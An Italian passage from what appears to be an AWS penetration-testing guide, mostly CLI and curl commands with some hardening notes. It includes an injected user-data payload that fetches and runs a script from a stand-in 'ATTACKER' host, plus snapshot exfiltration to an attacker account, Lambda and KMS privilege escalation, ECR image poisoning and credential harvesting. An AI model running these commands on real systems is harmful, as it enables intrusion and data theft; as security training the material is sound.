aws ec2 describe-instances --query 'Reservations[].Instances[].MetadataOptions'

# User-data: often holds provisioning scripts with hardcoded secrets
aws ec2 describe-instance-attribute --instance-id i-XXXXXXXXXXXX --attribute userData \
  --query 'UserData.Value' --output text | base64 -d

# Launch templates: the same user-data can be reused across the fleet
aws ec2 describe-launch-templates
aws ec2 describe-launch-template-versions --launch-template-id lt-XXXXXXXX

# Snapshots and AMIs — check access permissions, not just existence
aws ec2 describe-snapshots --owner-ids self
aws ec2 describe-snapshot-attribute --snapshot-id snap-XXXXXXXX --attribute createVolumePermission
aws ec2 describe-images --owners self
aws ec2 describe-image-attribute --image-id ami-XXXXXXXX --attribute launchPermission

# Snapshots/AMIs the account can restore because they were shared too broadly
# (often shared "public" by mistake — a classic data-exposure finding)
aws ec2 describe-snapshots --restorable-by-user-ids all --query 'Snapshots[?Encrypted==`false`]'
aws ec2 describe-images --executable-users all --owners TARGET_ACCOUNT_ID

Un AMI o uno snapshot condiviso pubblicamente (all) espone l’intero contenuto del disco — spesso chiavi SSH, credenziali hardcoded, codice sorgente — a chiunque conosca l’ID. Hardening: audit periodico dei createVolumePermission/launchPermission, e Block Public Access per gli EBS snapshot a livello di account.

Endpoint EC2: https://ec2.us-east-1.amazonaws.com/ — protocollo query come STS/IAM, ma con parametri più articolati (indici numerati per i filtri):

bash
curl --aws-sigv4 "aws:amz:us-east-1:ec2" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
  -d "Action=DescribeInstances&Version=2016-11-15" \
  https://ec2.us-east-1.amazonaws.com/

Query consolidata:

bash
aws ec2 describe-instances --query \
  'Reservations[].Instances[].{
    ID:InstanceId, PublicIP:PublicIpAddress, PrivateIP:PrivateIpAddress,
    SG:SecurityGroups[].GroupId, Profile:IamInstanceProfile.Arn,
    IMDS:MetadataOptions.HttpTokens
  }' --output table

Lateral movement senza SSH: EC2 Instance Connect e SSM #

Due vie per eseguire comandi su un’istanza senza avere la chiave SSH originale.

EC2 Instance Connect — push temporaneo di una chiave pubblica tua:

bash
aws ec2-instance-connect send-ssh-public-key \
  --instance-id i-XXXXXXXXXXXX --availability-zone us-east-1a \
  --instance-os-user ec2-user --ssh-public-key file://~/.ssh/id_rsa.pub

ssh -i ~/.ssh/id_rsa ec2-user@TARGET_IP

Richiede ec2-instance-connect:SendSSHPublicKey e che l’agente EC2 Instance Connect sia installato sull’istanza (default su molte AMI Amazon Linux/Ubuntu recenti).

SSM Run Command — esecuzione comandi senza SSH, se l’istanza ha l’agente SSM attivo e un ruolo con AmazonSSMManagedInstanceCore. SSM usa il protocollo JSON 1.1 con X-Amz-Target (come Secrets Manager, visto più sotto).

Endpoint: https://ssm.us-east-1.amazonaws.com/

bash
curl --aws-sigv4 "aws:amz:us-east-1:ssm" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "X-Amz-Target: AmazonSSM.SendCommand" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -d '{"InstanceIds":["i-XXXXXXXXXXXX"],"DocumentName":"AWS-RunShellScript","Parameters":{"commands":["id"]}}' \
  https://ssm.us-east-1.amazonaws.com/

# Run a command and capture its output
COMMAND_ID=$(aws ssm send-command \
  --instance-ids "i-XXXXXXXXXXXX" \
  --document-name "AWS-RunShellScript" \
  --parameters 'commands=["id","cat /etc/passwd"]' \
  --query 'Command.CommandId' --output text)

aws ssm get-command-invocation \
  --command-id "$COMMAND_ID" --instance-id "i-XXXXXXXXXXXX"

Esegue come root su Linux o SYSTEM su Windows per default — è uno dei percorsi di lateral movement più diretti in ambienti EC2, e genera meno rumore di un RunInstances perché non crea nessuna risorsa nuova.

Sessione interattiva equivalente a una shell:

bash
aws ssm start-session --target i-XXXXXXXXXXXX

SSM Port Forwarding — tunnel verso servizi interni non esposti in rete, bypassando i security group:

bash
# Forward a port on the instance itself to your local machine
aws ssm start-session \
  --target i-XXXXXXXXXXXX \
  --document-name AWS-StartPortForwardingSession \
  --parameters '{"portNumber":["5432"],"localPortNumber":["5432"]}'

# Forward THROUGH the instance to a remote host it can reach (e.g. an RDS
# endpoint reachable only from inside the VPC)
aws ssm start-session \
  --target i-XXXXXXXXXXXX \
  --document-name AWS-StartPortForwardingSessionToRemoteHost \
  --parameters '{"host":["internal-rds.example.com"],"portNumber":["5432"],"localPortNumber":["5432"]}'

Finché l’istanza ha l’agente SSM e il ruolo giusto, il tunnel funziona indipendentemente da qualsiasi regola firewall tra te e il servizio target — è il modo più pulito per raggiungere un database interno senza aprire nulla.

Modifica User Data: code execution al prossimo boot #

Se hai ec2:ModifyInstanceAttribute + ec2:StopInstances/ec2:StartInstances, inietti uno script nello user-data che viene eseguito come root al riavvio — senza SSH né SSM, senza agenti preinstallati:

bash
# Encode payload — cloud-init runs this as root on next start
printf '#!/bin/bash\ncurl -s https://ATTACKER/beacon | bash' | base64 > /tmp/ud.b64

aws ec2 modify-instance-attribute \
  --instance-id i-XXXXXXXXXXXX \
  --user-data file:///tmp/ud.b64

# stop + start (NOT reboot) to trigger cloud-init re-execution
aws ec2 stop-instances --instance-ids i-XXXXXXXXXXXX
aws ec2 start-instances --instance-ids i-XXXXXXXXXXXX

Su molte AMI cloud-init esegue lo user-data solo al primo boot — aggiungi rm -rf /var/lib/cloud/instances/* all’inizio del payload per forzare la riesecuzione anche su istanze già inizializzate.

EC2 Serial Console #

Sulle istanze Nitro: accesso diretto alla console seriale, bypass totale di SSH e SSM, anche se l’istanza non risponde alla rete:

bash
aws ec2-instance-connect send-serial-console-ssh-public-key \
  --instance-id i-XXXXXXXXXXXX \
  --serial-port 0 \
  --ssh-public-key file://~/.ssh/id_rsa.pub

ssh -i ~/.ssh/id_rsa i-XXXXXXXXXXXX.port0@serial-console.ec2-instance-connect.us-east-1.aws

Nessuna porta speciale: SSH standard (22). L’endpoint varia per region (alcune usano il formato ec2-serial-console.REGION.api.aws — verifica la tabella AWS prima). Hai 60 secondi dopo send-serial-console-ssh-public-key prima che la chiave venga rimossa. Richiede ec2-instance-connect:SendSerialConsoleSSHPublicKey. Utile su istanze in stato degradato, con SSH bloccato dai security group, o quando SSM non risponde.

VPC Peering, Transit Gateway e connettività cross-account #

bash
# VPC peering — may include connections to other AWS accounts
aws ec2 describe-vpc-peering-connections

# Transit Gateway — hub for multiple VPCs and on-prem connections
aws ec2 describe-transit-gateways
aws ec2 describe-transit-gateway-attachments

# VPN tunnels and Direct Connect links to on-prem
aws ec2 describe-vpn-connections
aws directconnect describe-connections

Un VPC peering cross-account verso un VPC senza segmentazione è lateral movement diretto: basta raggiungere l’IP privato dall’istanza che controlli, senza assumere ruoli aggiuntivi.

Route53: topologia interna e subdomain takeover #

bash
aws route53 list-hosted-zones
aws route53 list-resource-record-sets --hosted-zone-id ZONE_ID

Le hosted zone private rivelano hostname mai esposti pubblicamente: database, API interne, endpoint admin. Cerca record CNAME che puntano a risorse Elastic Beanstalk/S3/CloudFront/ELB eliminate — sono candidati a subdomain takeover: se la risorsa target non esiste più, chiunque la ricrei nella propria infrastruttura eredita quel record DNS.

Password amministratore Windows #

bash
aws ec2 get-password-data --instance-id i-XXXXXXXXXXXX

Funziona solo su istanze Windows lanciate con key pair EC2. Il campo PasswordData è cifrato con la chiave pubblica della key pair: serve la privata per decifrarlo.

Lambda #

bash
aws lambda list-functions
aws lambda get-function --function-name FUNCTION_NAME
aws lambda get-function-configuration --function-name FUNCTION_NAME

Equivalente curl di list-functions (REST-JSON, GET su path fisso):

bash
curl --aws-sigv4 "aws:amz:us-east-1:lambda" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  "https://lambda.us-east-1.amazonaws.com/2015-03-31/functions?MaxItems=50"

Analisi più approfondita #

bash
aws lambda list-versions-by-function --function-name FUNCTION_NAME
aws lambda list-aliases --function-name FUNCTION_NAME

# Execution role: the real privilege the function runs with
aws lambda get-function-configuration --function-name FUNCTION_NAME --query 'Role'
aws iam list-attached-role-policies --role-name EXTRACTED_ROLE_NAME

aws lambda list-event-source-mappings --function-name FUNCTION_NAME
aws lambda get-function-url-config --function-name FUNCTION_NAME
aws lambda get-policy --function-name FUNCTION_NAME

Sfruttamento: lambda:UpdateFunctionCode #

Se puoi modificare il codice di una funzione esistente ma non crearne una nuova, puoi dirottare il suo ruolo di esecuzione senza bisogno di iam:PassRole (la funzione ha già quel ruolo assegnato):

bash
# Build a payload matching the function's existing handler name
zip payload.zip lambda_function.py

aws lambda update-function-code --function-name TARGET_FUNCTION --zip-file fileb://payload.zip
aws lambda invoke --function-name TARGET_FUNCTION output.json

Invocazione diretta via API REST #

text
POST https://lambda.REGION.amazonaws.com/2015-03-31/functions/FUNCTION_NAME/invocations
bash
curl --aws-sigv4 "aws:amz:us-east-1:lambda" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -X POST -d '{"test":"payload"}' \
  "https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/FUNCTION_NAME/invocations"

Function URL pubblica (AuthType: NONE, verificalo con get-function-url-config), senza alcuna credenziale:

bash
curl -X POST "https://FUNCTION_URL_ID.lambda-url.us-east-1.on.aws/" \
  -H "Content-Type: application/json" -d '{"test":"payload"}'

Credenziali del ruolo dall’interno della funzione #

Lambda non espone IMDS: le credenziali del ruolo di esecuzione sono recuperabili tramite l’endpoint locale container credentials, già puntato dalle variabili d’ambiente del processo:

bash
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_FULL_URI" \
  -H "Authorization: $AWS_CONTAINER_AUTHORIZATION_TOKEN"

Lo stesso meccanismo vale per i task ECS su Fargate/EC2 (sezione ECS più sotto).

Secrets Manager, SSM e KMS #

Secrets Manager #

bash
aws secretsmanager list-secrets
aws secretsmanager describe-secret --secret-id SECRET_NAME
aws secretsmanager list-secret-version-ids --secret-id SECRET_NAME
aws secretsmanager get-secret-value --secret-id SECRET_NAME

Equivalente curl (JSON 1.1, X-Amz-Target seleziona l’operazione, non il path):

Endpoint: https://secretsmanager.us-east-1.amazonaws.com/ — unico path (/) per tutte le operazioni.

bash
curl --aws-sigv4 "aws:amz:us-east-1:secretsmanager" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "X-Amz-Target: secretsmanager.GetSecretValue" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -d '{"SecretId":"SECRET_NAME"}' \
  https://secretsmanager.us-east-1.amazonaws.com/

SSM Parameter Store #

bash
aws ssm describe-parameters
aws ssm get-parameter --name /app/db/password --with-decryption
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Endpoint: https://ssm.us-east-1.amazonaws.com/, stesso protocollo JSON 1.1 visto sopra per Run Command — qui con X-Amz-Target: AmazonSSM.GetParametersByPath:

bash
curl --aws-sigv4 "aws:amz:us-east-1:ssm" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "X-Amz-Target: AmazonSSM.GetParametersByPath" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -d '{"Path":"/","Recursive":true,"WithDecryption":true}' \
  https://ssm.us-east-1.amazonaws.com/

Secrets Manager e SSM Parameter Store non sono intercambiabili: Secrets Manager ha rotazione automatica integrata; SSM è più generico e usa SecureString per i valori cifrati (String/StringList sono già in chiaro). Entrambi, per i valori cifrati, dipendono da KMS: senza kms:Decrypt sulla chiave, --with-decryption fallisce anche con i permessi SSM corretti.

Non è buona pratica scaricare indiscriminatamente ogni segreto visibile: enumera prima i metadati, recupera solo quelli necessari a dimostrare l’impatto.

KMS #

bash
aws kms list-keys
aws kms describe-key --key-id KEY_ID
aws kms get-key-policy --key-id KEY_ID --policy-name default

Endpoint: https://kms.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: TrentService.ListKeys — TrentService è il nome storico interno dell’API KMS, resta nell’header anche oggi):

bash
curl --aws-sigv4 "aws:amz:us-east-1:kms" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "X-Amz-Target: TrentService.ListKeys" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -d '{}' \
  https://kms.us-east-1.amazonaws.com/

Vedere una chiave non implica poterla usare: kms:Decrypt/kms:Encrypt sono permessi separati, valutati sia sulla key policy che sulle policy IAM del chiamante.

Privilege escalation: kms:PutKeyPolicy #

Prerequisito: kms:PutKeyPolicy su una chiave che protegge dati rilevanti (es. un volume EBS, un bucket S3 SSE-KMS, un segreto). Impatto: riscrivi la key policy per concederti kms:Decrypt diretto, bypassando qualunque restrizione pensata per quella chiave — anche se non hai alcun permesso IAM “legittimo” sulla risorsa cifrata, se riesci a decifrarla con la chiave ne leggi il contenuto.

bash
aws kms get-key-policy --key-id KEY_ID --policy-name default --output text > current_policy.json
# Edit current_policy.json: add a Statement granting kms:Decrypt to your own principal ARN

aws kms put-key-policy --key-id KEY_ID --policy-name default --policy file://current_policy.json

Mitigazione lato defender: la key policy dovrebbe limitare kms:PutKeyPolicy a un ruolo amministrativo dedicato, separato da chi usa la chiave operativamente.

Decifrare dati direttamente con kms:Decrypt #

Con kms:Decrypt sulla chiave, decifri dati cifrati lato server senza passare per il servizio applicativo che li ha prodotti (es. un valore estratto da un segreto, o un blob SSE-KMS):

bash
aws kms decrypt \
  --ciphertext-blob fileb://encrypted.bin \
  --output text --query Plaintext | base64 -d > decrypted.txt
bash
curl --aws-sigv4 "aws:amz:us-east-1:kms" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "X-Amz-Target: TrentService.Decrypt" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -d '{"CiphertextBlob":"BASE64_CIPHERTEXT"}' \
  https://kms.us-east-1.amazonaws.com/

Il CiphertextBlob contiene già i metadati della chiave: KMS sa da solo quale usare, non devi specificarla. Il ciphertext va passato in base64.

Exfiltration tramite snapshot: EBS e RDS, senza toccare la risorsa viva #

Un pattern spesso trascurato: non serve avere accesso di rete o credenziali applicative a un’istanza o a un database per leggerne i dati. Basta poter condividere uno snapshot con il proprio account (o con uno pubblico) e ricostruirlo altrove, fuori dal perimetro di monitoraggio del target.

EBS #

Endpoint: https://ec2.us-east-1.amazonaws.com/ (stesso endpoint EC2 query visto sopra — ModifySnapshotAttribute è solo un’altra Action).

bash
# If no snapshot exists yet: create one from a target volume (ec2:CreateSnapshot)
aws ec2 create-snapshot --volume-id vol-XXXXXXXX --description "backup"

# Prerequisite: ec2:ModifySnapshotAttribute on the snapshot
aws ec2 modify-snapshot-attribute \
  --snapshot-id snap-XXXXXXXX \
  --attribute createVolumePermission \
  --operation-type add --user-ids YOUR_ATTACKER_ACCOUNT_ID

# From the attacker account: create a volume from the shared snapshot
aws ec2 create-volume --snapshot-id snap-XXXXXXXX --availability-zone us-east-1a

# Attach it to an instance you control and mount it — the data is now
# fully readable outside the target account's logging/monitoring scope
aws ec2 attach-volume --volume-id vol-XXXXXXXX --instance-id i-YOUR_INSTANCE --device /dev/sdf

RDS #

Endpoint: https://rds.us-east-1.amazonaws.com/ (protocollo query, come EC2/STS/IAM).

bash
# Prerequisite: rds:ModifyDBSnapshotAttribute on an existing snapshot
aws rds modify-db-snapshot-attribute \
  --db-snapshot-identifier SNAPSHOT_ID \
  --attribute-name restore \
  --values-to-add YOUR_ATTACKER_ACCOUNT_ID

# From the attacker account: restore a full new DB instance from it
aws rds restore-db-instance-from-db-snapshot \
  --db-instance-identifier exfil-restore \
  --db-snapshot-identifier SNAPSHOT_ID

Impatto: in entrambi i casi ottieni una copia completa e persistente dei dati, senza alcuna interazione diretta con la risorsa originale — nessuna connessione di rete verso il target, nessuna query eseguita contro il DB vivo. Verifica sempre se lo snapshot è cifrato con una CMK KMS: se lo è, serve anche accesso alla chiave (vedi sopra) o condividerla a sua volta con kms:PutKeyPolicy/key grant, altrimenti la condivisione dello snapshot da sola non basta a leggerne il contenuto nell’account di destinazione.

Cognito Identity Pools: credenziali IAM senza autenticazione #

Se un’app web/mobile ha un Identity Pool ID hardcoded (è frequente trovarlo nel JS lato client o nella configurazione dell’app) e il pool permette accesso guest, puoi ottenere credenziali IAM reali senza alcuna autenticazione:

bash
aws cognito-identity get-id --identity-pool-id IDENTITY_POOL_ID --no-sign-request

aws cognito-identity get-credentials-for-identity --identity-id IDENTITY_ID --no-sign-request

Equivalente curl, raw HTTP, senza firma (queste due chiamate non richiedono credenziali — sono il punto di accesso iniziale):

Endpoint: https://cognito-identity.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AWSCognitoIdentityService.OperationName — nessuna firma SigV4 necessaria per GetId/GetCredentialsForIdentity su un pool unauth).

bash
curl -X POST https://cognito-identity.us-east-1.amazonaws.com/ \
  -H "X-Amz-Target: AWSCognitoIdentityService.GetId" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -d '{"IdentityPoolId":"IDENTITY_POOL_ID"}'

curl -X POST https://cognito-identity.us-east-1.amazonaws.com/ \
  -H "X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -d '{"IdentityId":"IDENTITY_ID_FROM_ABOVE"}'

La seconda risposta contiene AccessKeyId, SecretKey, SessionToken pronti da usare. Il ruolo unauth di default (Cognito_<PoolName>Unauth_Role) spesso non ha permessi, ma va sempre testato — e le credenziali ottenute tramite il flusso “enhanced” portano una session policy restrittiva anche se il ruolo stesso sarebbe più permissivo: se il pool ha il flusso “Basic” abilitato, puoi bypassare quella restrizione passando dal token OpenID:

bash
aws cognito-identity get-open-id-token --identity-id IDENTITY_ID --no-sign-request

aws sts assume-role-with-web-identity \
  --role-arn "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" \
  --role-session-name pivot \
  --web-identity-token TOKEN_FROM_ABOVE

Cognito User Pools: enumerazione e accesso #

I User Pool (distinti dagli Identity Pool visti sopra) gestiscono registrazione, login, MFA e recupero password degli utenti. Spesso con policy deboli o auth flow abusabili.

bash
aws cognito-idp list-user-pools --max-results 10
aws cognito-idp describe-user-pool --user-pool-id POOL_ID
aws cognito-idp list-user-pool-clients --user-pool-id POOL_ID
aws cognito-idp describe-user-pool-client --user-pool-id POOL_ID --client-id CLIENT_ID

Se ExplicitAuthFlows del client include ALLOW_USER_PASSWORD_AUTH, il login passa username+password in chiaro (niente SRP):

bash
aws cognito-idp initiate-auth \
  --auth-flow USER_PASSWORD_AUTH \
  --client-id CLIENT_ID \
  --auth-parameters USERNAME=target@email.com,PASSWORD='Password123!'

User enumeration: se PreventUserExistenceErrors non è abilitato, Cognito distingue username inesistente (UserNotFoundException) da password errata (NotAuthorizedException) — permette di confermare account esistenti.

Con credenziali IAM che hanno cognito-idp:AdminInitiateAuth, gli admin flow scavalcano le protezioni lato client:

bash
aws cognito-idp admin-initiate-auth \
  --user-pool-id POOL_ID --client-id CLIENT_ID \
  --auth-flow ADMIN_USER_PASSWORD_AUTH \
  --auth-parameters USERNAME=target@email.com,PASSWORD='Password123!'

EKS: cluster Kubernetes #

bash
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAME

describe-cluster restituisce l’endpoint API del cluster e, soprattutto, se l’endpoint è pubblico (resourcesVpcConfig.endpointPublicAccess: true). Con eks:DescribeCluster + eks:AccessKubernetesApi ti generi un kubeconfig e autentichi al control plane usando le credenziali AWS:

bash
aws eks update-kubeconfig --name CLUSTER_NAME --region us-east-1

# aws-iam-authenticator converte la credenziale IAM in un token K8s
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl auth can-i --list

La mappatura IAM→RBAC è nel ConfigMap aws-auth: un’identità mappata a system:masters è admin del cluster. Una volta dentro, i service account token montati nei pod (/var/run/secrets/kubernetes.io/serviceaccount/token) e i secret del cluster sono il passo successivo.

API Gateway: endpoint senza autenticazione #

bash
aws apigateway get-rest-apis
aws apigateway get-resources --rest-api-id API_ID
aws apigateway get-stages --rest-api-id API_ID
aws apigateway get-method --rest-api-id API_ID --resource-id RES_ID --http-method GET

Cerca metodi con authorizationType: NONE — endpoint invocabili senza credenziali. L’URL di invoke ha forma https://API_ID.execute-api.REGION.amazonaws.com/STAGE/PATH. Spesso espongono funzioni Lambda interne pensate per essere raggiunte solo dal frontend, senza controlli server-side.

AWS Organizations: mappa dell’intera org #

bash
aws organizations describe-organization
aws organizations list-accounts
aws organizations list-roots
aws organizations list-organizational-units-for-parent --parent-id ROOT_ID
aws organizations list-policies --filter SERVICE_CONTROL_POLICY
aws organizations describe-policy --policy-id POLICY_ID

list-accounts dà tutti gli account dell’organizzazione — il vero perimetro, non solo quello in cui ti trovi. Le SCP spiegano perché certe azioni falliscono con AccessDenied anche quando l’IAM le consentirebbe: una SCP a livello di OU può bloccare l’azione a monte. Da un account management, il ruolo OrganizationAccountAccessRole è spesso assumibile su ogni account figlio — pivot immediato sull’intera org.

OpenSearch / Elasticsearch #

bash
aws opensearch list-domain-names
aws opensearch describe-domain --domain-name DOMAIN_NAME
aws es list-domain-names          # legacy CLI name
aws es describe-elasticsearch-domain --domain-name DOMAIN_NAME

Controlla AccessPolicies nella risposta: un domain con policy "Principal": "*" e nessuna condition IP è interrogabile pubblicamente via HTTP, senza credenziali AWS. L’endpoint è nel campo Endpoint/Endpoints:

bash
# If the access policy is open, query the index directly
curl "https://DOMAIN_ENDPOINT/_cat/indices?v"
curl "https://DOMAIN_ENDPOINT/INDEX_NAME/_search?pretty&size=20"

Spesso contengono log applicativi, dati PII o interi dump di database indicizzati per la ricerca.

Step Functions: dati sensibili nell’execution history #

bash
aws stepfunctions list-state-machines
aws stepfunctions describe-state-machine --state-machine-arn SM_ARN
aws stepfunctions list-executions --state-machine-arn SM_ARN
aws stepfunctions get-execution-history --execution-arn EXEC_ARN

get-execution-history è il punto interessante: ogni transizione di stato registra l’input e l’output completi passati tra gli step. Se la state machine muove credenziali, token o dati utente tra una Lambda e l’altra, finiscono in chiaro nella history — leggibili con il solo states:GetExecutionHistory.

CloudFormation: template e output #

Oltre al privesc via PassRole (visto sopra), CloudFormation è una miniera di segreti in lettura:

bash
aws cloudformation list-stacks
aws cloudformation describe-stacks --stack-name STACK_NAME --query 'Stacks[].Outputs'
aws cloudformation get-template --stack-name STACK_NAME
aws cloudformation list-stack-resources --stack-name STACK_NAME
aws cloudformation describe-stack-events --stack-name STACK_NAME

Gli Outputs spesso contengono endpoint, ARN e — per cattiva pratica frequente — password o chiavi passate come parametro. get-template rivela l’intera infrastruttura come codice: default dei parametri, risorse, e a volte secret hardcoded direttamente nel template invece che referenziati da Secrets Manager.

Glue: credenziali nelle connection #

bash
aws glue get-databases
aws glue get-tables --database-name DB_NAME
aws glue get-connections
aws glue get-connection --name CONNECTION_NAME

get-connections è il bersaglio: le connection Glue verso database esterni contengono spesso username e password in ConnectionProperties (USERNAME, PASSWORD), restituiti con il solo glue:GetConnection. Il data catalog (get-tables) rivela inoltre schema e location S3 di ogni dataset, utile per sapere dove cercare i dati reali.

CI/CD: CodeBuild e CodePipeline #

bash
aws codebuild list-projects
aws codebuild batch-get-projects --names PROJECT_NAME
aws codepipeline list-pipelines
aws codepipeline get-pipeline --name PIPELINE_NAME

batch-get-projects mostra environment.environmentVariables: variabili di build spesso con token, credenziali di deploy o chiavi API in chiaro (PLAINTEXT) invece che da Secrets Manager/SSM. Il campo serviceRole è il ruolo con cui gira la build — se puoi modificare il buildspec di un progetto (codebuild:UpdateProject o commit sul repo sorgente) esegui comandi arbitrari in quel contesto, ereditandone i privilegi: è l’equivalente CI/CD del dirottamento di una Lambda.

Hardening: variabili sensibili sempre come SECRETS_MANAGER/PARAMETER_STORE, mai PLAINTEXT; service role con least privilege; revisione obbligatoria sul buildspec.

SES: invio email dal dominio del target #

Se l’identità compromessa ha accesso a SES e il target ha un dominio/indirizzo verificato, puoi inviare email che partono legittimamente firmate (SPF/DKIM validi) dal loro dominio — vettore di phishing interno molto più credibile di un dominio esterno.

bash
aws ses list-identities
aws ses get-identity-verification-attributes --identities example.com
aws ses get-send-quota

get-identity-verification-attributes conferma quali domini sono Success (verificati e usabili). L’impatto da documentare in un engagement è questo: una singola identità con ses:SendEmail trasforma una compromissione cloud in un canale di phishing ad alta fiducia verso dipendenti o clienti.

Hardening: restringere ses:SendEmail/SendRawEmail alle sole identità applicative che ne hanno bisogno, con condition sul FromAddress; monitorare picchi anomali di invio.

IAM Identity Center (SSO) #

In ambienti enterprise l’accesso è spesso centralizzato su IAM Identity Center (ex AWS SSO), non su utenti IAM locali. Enumerare permission set e assegnazioni mostra la vera mappa di chi accede a cosa su tutti gli account dell’org:

bash
aws sso-admin list-instances
aws sso-admin list-permission-sets --instance-arn INSTANCE_ARN
aws sso-admin describe-permission-set --instance-arn INSTANCE_ARN --permission-set-arn PS_ARN
aws sso-admin list-account-assignments --instance-arn INSTANCE_ARN \
  --account-id ACCOUNT_ID --permission-set-arn PS_ARN

# Identity store: users and groups behind the assignments
aws identitystore list-users --identity-store-id STORE_ID
aws identitystore list-groups --identity-store-id STORE_ID

Un permission set con policy troppo larghe assegnato a un gruppo ampio è un privesc a livello di organizzazione: chiunque in quel gruppo eredita quei permessi su ogni account collegato.

RDS, ECR ed ECS #

RDS #

Endpoint: https://rds.us-east-1.amazonaws.com/ (query protocol — identico a quello usato sopra per lo snapshot sharing).

bash
aws rds describe-db-instances
aws rds describe-db-clusters
aws rds describe-db-snapshots
aws rds describe-db-snapshot-attributes --db-snapshot-identifier SNAPSHOT_ID

Vedere endpoint e configurazione di rete non equivale ad avere accesso al database: serve raggiungibilità di rete e credenziali applicative valide. Controlla sempre gli snapshot condivisi pubblicamente.

ECR #

Endpoint: https://api.ecr.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AmazonEC2ContainerRegistry_V20150921.DescribeRepositories — nota l’hostname api.ecr.*, diverso dal signing name ecr usato in --aws-sigv4):

bash
curl --aws-sigv4 "aws:amz:us-east-1:ecr" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "X-Amz-Target: AmazonEC2ContainerRegistry_V20150921.DescribeRepositories" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -d '{}' \
  https://api.ecr.us-east-1.amazonaws.com/

aws ecr describe-repositories
aws ecr describe-images --repository-name REPO_NAME
aws ecr get-login-password --region REGION

get-login-password non enumera nulla: restituisce una credenziale temporanea (12h) per il registry Docker.

bash
aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com
docker pull ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latest
docker history --no-trunc ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latest

Image poisoning (supply chain): con ecr:PutImage + push sul repository, puoi ri-pubblicare un’immagine malevola sullo stesso tag di una legittima. Chiunque faccia poi docker pull di quel tag (deploy ECS/EKS, CI/CD) esegue il tuo codice.

bash
# Rebuild the image with an injected payload, keep the SAME tag
docker build -t ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latest .
docker push ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latest

Hardening: abilita tag immutability sul repository (aws ecr put-image-tag-mutability --image-tag-mutability IMMUTABLE) — impedisce la sovrascrittura di un tag esistente — e lo scan on-push per intercettare immagini note vulnerabili.

ECS #

Endpoint: https://ecs.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AmazonEC2ContainerServiceV20141113.ListClusters):

bash
curl --aws-sigv4 "aws:amz:us-east-1:ecs" \
  --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
  -H "x-amz-security-token: $AWS_SESSION_TOKEN" \
  -H "X-Amz-Target: AmazonEC2ContainerServiceV20141113.ListClusters" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -d '{}' \
  https://ecs.us-east-1.amazonaws.com/

aws ecs list-clusters
aws ecs list-services --cluster CLUSTER_NAME
aws ecs list-tasks --cluster CLUSTER_NAME
aws ecs describe-task-definition --task-definition TASK_DEF_NAME

Due ruoli distinti: execution role (executionRoleArn, infrastrutturale: pull immagine, log, secret injection) vs task role (taskRoleArn, il privilegio dell’applicazione in esecuzione).

containerDefinitions[].environment = variabili in chiaro; containerDefinitions[].secrets = riferimenti a Secrets Manager/SSM, non il valore stesso.

Shell interattiva in un container ECS: ecs:ExecuteCommand #

Se il task ha enableExecuteCommand: true e l’agente SSM nel container, puoi ottenere una shell diretta senza passare da nessun bastion:

bash
aws ecs execute-command \
  --cluster CLUSTER_NAME --task TASK_ID \
  --container CONTAINER_NAME --interactive \
  --command "/bin/sh"

Richiede ecs:ExecuteCommand più ssmmessages:CreateControlChannel/CreateDataChannel. Una volta dentro, le credenziali del task role sono ottenibili come su Lambda:

bash
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

SQS e SNS: dati in transito #

Le code di messaggi sono spesso trascurate rispetto a S3/Secrets Manager, ma trasportano payload applicativi che includono token, ID di sessione o dati utente.

